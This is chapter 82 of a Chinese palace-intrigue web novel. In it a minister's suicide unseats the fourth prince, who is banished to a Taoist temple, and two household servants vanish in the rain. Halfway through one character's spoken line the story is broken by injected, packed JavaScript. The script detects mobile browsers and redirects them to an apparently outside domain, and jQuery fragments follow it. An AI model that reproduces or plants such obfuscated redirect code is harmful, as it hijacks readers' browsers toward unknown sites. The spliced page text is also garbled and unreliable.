82. 神明将归
作品:《娘子判我朝全员该杀》 不绝于耳的叫好声里,晨光自掀起的车帘洒进马车内,将孟冬辞冷白的裙裾染上一丝暖意。
孟冬辞看着窗外,元珵在看她。
窗外摩肩接踵的人彼此并不相识,却不约而同地为一个人引颈自刎欢呼雀跃。
元珵直到此刻才终于明白,两个多月前,孟冬辞与他说的那句话是什么意思。
她不是能见天机,而是通晓民意。
“每一盏亮起的烛火里,都照着一户人家,他们活得不好,不会是他们不想好好活,只会是上位者尸位素餐,贪墨成风。”
原来自那时起,孟冬辞就已经在教他了。
她问他是否知晓要瞿众以死谢罪的原因,告诉他高位者该如何坐稳那个位置,是在教他如何做一个百姓认同的君主。
自吏部贪腐案开始,她所设之局,无不在为他积累人心。
元珵最初想得很简单,他想孟冬辞替他搅乱朝局,将皇帝拉下皇位替母亲报仇,然后将洪辽江山作为聘礼送给她,她做君主,他做她的臣下。
但如今他也明白,孟冬辞光明磊落、风骨峭峻,此生绝无可能站在大煜的对立面。
后来他又想,这天下与他没什么干系,若洪辽乱了,他就跟着孟冬辞回大煜,那皇位谁爱坐谁坐。
可孟冬辞一直在告诉他,那个位置上坐着什么样的人,事关天下万民的生计与性命。
她一边整治乱局,一边教他为君之道。人人都想权倾天下、掌他人生死,而她只想百姓阖家安乐、有法可依。
一如六年前,她救他时说,他虽不是大煜人,但也是生民。
如今,她又为洪辽生民算计至此,元珵知道自己再没脸在她面前说那句‘天下万民与他没有干系’的话了。
元珵一直知道,大煜百姓眼中,左相孟冬辞的姓名,与神明无异。
其实于他也是一样。
如今,他的神明就要回去了。
“娘子是怎么算出皇帝传旨的时辰的?”元珵强压下喉间的酸涩,虚握了一下孟冬辞的手,问,“传圣旨的时辰也有说法么?”
“此事哪里算得出,”孟冬辞失笑,伸手放下车帘,解释说,“昨夜给咱们传消息的人,若是明知道来不及,就不会大费周章地让人推着那内侍的尸首折腾这一场了,他定是劝住了皇帝不连夜传旨才会通风报信,这一宿的时候,就是这人为咱们拖延出的时间,洪辽早朝定在辰时中,我猜内侍到老四处传旨的时辰,一定会早于朝官们上朝的时辰。”
“四哥先接到自己被处置的圣旨,随后又听见瞿众将他摘出此事的消息,他即便想救瞿众,也是有心无力了,”元珵点头,又问,“娘子觉得皇帝会如何处置四哥?杀了他么?”
“自然不会,皇帝处置老四是处置给你看的,若是直接要了他的命,同为皇子的你,难道不会有兔死狐悲之感么?”孟冬辞摇头,说,“于皇子来说,若不是犯了谋反重罪,最多便是没了皇子身份罢了,但瞿众私兵的去向老四知不知道咱们无从知晓,所以后面,咱们还得捎带着防你四哥反戈一击。”
元珵点头,将孟冬辞的指尖拢进掌心:“接下来做什么?娘子早膳只喝了一碗甜汤,这会定然饿了,如无要事,咱们去蜜糖斋买些点心罢。”
元珵的手很凉,还有些抖,孟冬辞看了他一眼,又看了一眼外头的天色,见黑云重聚遮去了天光,便说:“等会儿这雨怕是还要下,已过了午膳的时辰,回别院罢,今晨出门前,柳姨莲姨说,若咱们计成,要给设宴咱们庆功,回去晚了该扫她们的兴致了。
“余下的戏,就由皇帝和你四哥来唱了。”
*
“我要见父皇!”
福旻殿大门紧闭,外头守着重重叠叠的侍卫,一派肃杀之气,内里却是狼藉一片,四皇子元棣衣冠不整状似癫狂,正歇斯底里。
他一把推开来传旨的内侍:“瞿众已认罪,那些罪名已与我没有关系!先前的旨意自然不作数!我要见父皇!”
“陛下在朝上,您在禁足,如何能到朝奉殿去,”小内侍捧着圣旨跪在元棣身前拦住他的路,“四殿下莫要为难奴才。”
“怎么是你来传旨,寿庐呢?”元棣一把将小内侍拎起来,“他一早来传旨说父皇要贬我为庶人,为何不等我接旨就走了,去!把寿庐给我找来!”
殿门应声而开,寿庐擎着一柄拂尘逆着日光跨过门槛:“老奴才到殿外,便听见四殿下要寻老奴,怎么,是这些孩子话说不清,四殿下没明白陛下的旨意么?”
“寿庐!寿公公!”元棣仿佛看见救命稻草般一把抓住寿庐的手臂,“求寿公公帮忙给父皇带个话,我想见父皇,我有冤!”
“四殿下,”寿庐被他这么一扯,臂弯的拂尘脱手掉在地上,他却没捡,只垂眼看了一眼,便又看向元棣,反问道,“陛下原话,四殿下谋害亲弟,僭越行事扰乱朝纲,这些,哪里有冤?是老奴早上念错了圣旨不成?”
元棣被问得一怔,没答,却蹲下身捡起被他碰落的拂尘,躬身双手递回寿庐手中,赔笑道:“寿公公,旨意我听清了,我并无为难公公之意,只是想面见父皇给自己求个情,请公公行个方便。”
寿庐接过拂尘,却没有说话。
“公公也知,我师从瞿相,深谙治国理政之道,虽是庶出,但自小得父皇宠爱,早早便能入朝堂,往后就算不能贵不可言,终究还是右相的女婿,朝堂上总会有我的一席之地,父皇一时气我,但好歹父子连心,”元棣自身后侍从手里拿过一袋金子递进寿庐手里,压低声音说,“只要公公愿意帮忙,日后我定十倍百倍酬谢公公。”
寿庐垂眼看了那沉甸甸的锦袋一眼,又抬眼打量元棣。
皇帝的几个儿子生得都不错,元轲魁伟大气,元羲凡相仙姿,元珵有一半玳浧血脉,更是朗目星眸丰神俊逸,这元棣小时候端正伶俐,虽比不上元珵元羲,但也是凤表龙姿。可近几年,寿庐每每见着他,都觉得他全然没了少时气度,愈发被眼中的精明算计裹出一股子阴鸷的模样。
和老皇帝一样,叫人毛骨悚然。
寿庐将那袋金子推回元棣手里,笑道:“四殿下糊涂了,您说您是右相的女婿,可方才老奴着人来告知殿下瞿众在昌怀门外认罪的时候,您是怎么说的?”
元棣面上的笑意霎时消失殆尽。
“您说,瞿众无恶不作,确实该死,他的所作所为您一概不知。
“您还说,右相可以换,但您是真龙之后。”
元棣蓦地沉下脸,问:“你什么意思?”
“老奴手下的人不懂事,听了您的话,竟跑去告诉了右相,”寿庐笑道,“右相听了这话,万念俱灰,已在昌怀门外挥刀自刎了,宫门上的血溅了尺高,直到现在还没冲洗干净呢。”
“老师……自刎了?”元棣不可置信地摇头,“老师一生纵横官场,怎会……”
“所以四殿下,您是做不成右相的女婿了,”寿庐将拂尘换了一边拿,朗声道,“陛下口谕,四皇子元棣即刻搬出福旻殿,入道观,无诏永不得出。”
说罢,寿庐朝殿外的侍卫挥挥手,侍卫们鱼贯而入,将瘫倒在地的元棣搀起,一路往外拖去。
“是那女人!一定是她!”元棣朝寿庐喊道,“寿公公!你去告诉父皇,老七娶的那女人是祸世妖邪!不尽早杀了,必成大患!”
元棣的声音越来越远,寿庐弯腰拾起他掉落的那袋金子交给一个小内侍:“福旻殿今日起就没有主子了,你们分了这金子,各自去值事房重新领活儿。”
一个小内侍试探着问:“总管,四殿下方才的话是什么意思?咱们要说给陛下么?”
寿庐睨了他一眼:“陛下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357602|177700||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在气头上,少耍小聪明,仔细触了霉头丢了命。”
说罢,他转身往殿外走,低声轻笑:“四殿下自小敏锐聪慧,可惜,竟失心疯了!”
殿外狂风骤起,刺耳的呼啸声里,没人听见这一句。
*
别院门口,林融霜正望眼欲穿地等着,见马车停下,立刻撑着伞跑上前,将孟冬辞从马车上扶下来,满眼期待地问:“阿姐,如何了?”
孟冬辞笑着朝她眨眼。
林融霜立刻将伞塞进孟冬辞手里,扔下一句:“我去告诉柳姨和莲姨!”便折身往回跑。
那伞上的雨,不偏不倚地溅了元珵一脸。
元珵很是无奈地叹了声气,问孟冬辞:“娘子不是说祖父很是严厉么?”
孟冬辞知他想说什么,笑道:“融霜纯然天真,祖父管不了她,况且她一向莽中有序,你看柳姨莲姨多喜欢她。”
进了院,柳荷柳莲正撑着伞往外走,元珵见状问:“这是做什么去?”
柳莲笑答:“说了要给皇子妃和殿下庆功,我与阿姐去买些新鲜菜蔬回来。”
“这下着大雨,”元珵皱眉,“咱们别院有什么就做什么罢。”
孟冬辞也跟着点头:“庆功不过就是句玩笑话,若因此在大雨天折腾柳姨莲姨一趟,我与元珵倒不好意思了。”
“皇子妃莫要客套,”柳荷接过话,笑道,“说句僭越的,殿下自小跟着我与阿莲,照料殿下这么多年,我俩早将殿下当成了自己孩子,今日有喜事,怎能叫折腾?”
见柳荷柳莲坚持,元珵只好应了,抬头看了眼愈发黑沉的天色,心下有些不安,正好他们方才乘的马车还没收,便嘱咐车夫仔细照料她二人,尽快回来。
待她二人上了马车走远,元珵看向孟冬辞,问:“娘子觉得,我在石狮子脖子上系条红绸如何?”
“如今局势渐稳,以常易的身手,悄悄回来与柳姨见一面,不会有问题,”孟冬辞知元珵是顾及她的计划,便轻笑,“此事无需问我,你若想,便去做。”
红绸挂出去不多时,陆羽便急慌慌地赶到别院,他当元珵与孟冬辞遇险,带着利刃赶来,一进院便见元珵笑眯眯地等着他,知道上当转身要走,被元珵扯回来训了一顿,又揪着他去换了一身鲜亮的新衣裳,说是要给柳荷柳莲一个惊喜。
折腾完陆羽已是申时末,距柳荷柳莲出门已过了一个时辰还多,她二人往日出门采买鲜少会这么久。
雨仍未停,黑云压得愈发低,即便雨大难行也该回来了,眼见申时已过,陆羽觉得心慌,坐立难安。
孟冬辞和元珵也觉出不对,便吩咐人套车,叫熟悉路的小厮带路,她与元珵一道,林融霜一路,陆羽一路,出门去寻。
小厮们都知道柳荷柳莲采买常去的街巷集市,可将她二人常去的集市走遍了,也没见着人,最后是在一个小巷子里见着了那驾她二人出门时的马车,车里是空的,车夫也不在。
那马车是元珵出门的规制,又稳又宽敞,无论多大的风雨也不必下车另找地方避雨,马车仍在此处,只可能是她二人遇见了什么事必须弃车。
这会儿已是酉时末,天黑透了,元珵怕她二人弃车后已走路回了别院,便说要回去查看。
这情形与她和林融霜初二那日在小巷遇伏有些像,孟冬辞心里隐隐生出不好的猜想,却不知怎么开口,只答应着与元珵一道先回去。
因着此事,别院灯火通明。
孟冬辞先下马车,一眼看见异样,本能地回身想去遮元珵的眼睛。
一回身,便见元珵直勾勾地盯着大门口。
雨幕刷去了灯笼映出的红,将元珵的面色照得惨白。
他踉跄着往前走了一步,又立刻退回原位,缓缓问孟冬辞:“娘子,天一黑我就眼花,门口挂着的,是两个人么?”